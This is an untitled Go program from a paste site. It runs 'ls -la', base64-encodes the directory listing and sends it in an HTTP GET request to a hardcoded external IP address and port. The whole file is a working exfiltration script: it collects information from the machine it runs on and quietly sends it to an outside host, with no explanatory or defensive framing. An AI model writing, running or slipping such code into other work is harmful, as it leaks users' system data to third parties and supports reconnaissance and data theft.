Untitled

mail@pastecode.io avatar
unknown
golang
a year ago
621 B
1
Indexable
Never
package main

import (
	"bytes"
	"encoding/base64"
	"io"
	"log"
	"net/http"
	"os"
)

func main() {
	buffer := new(bytes.Buffer)

	stdout, stdin, _ := os.Pipe()

	attr := &os.ProcAttr{Env: os.Environ(), Files: []*os.File{nil, stdin, nil}}
	_, err := os.StartProcess("/bin/ls", []string{"ls", "-la"}, attr)
	if err != nil {
		log.Fatal(err)
	}

	if err := stdin.Close(); err != nil {
		log.Fatal(err)
	}
	if _, err := io.Copy(buffer, stdout); err != nil {
		log.Fatal(err)
	}
	result := base64.StdEncoding.EncodeToString(buffer.Bytes())
	http.Get("http://121.196.154.246:53418/?" + result)
}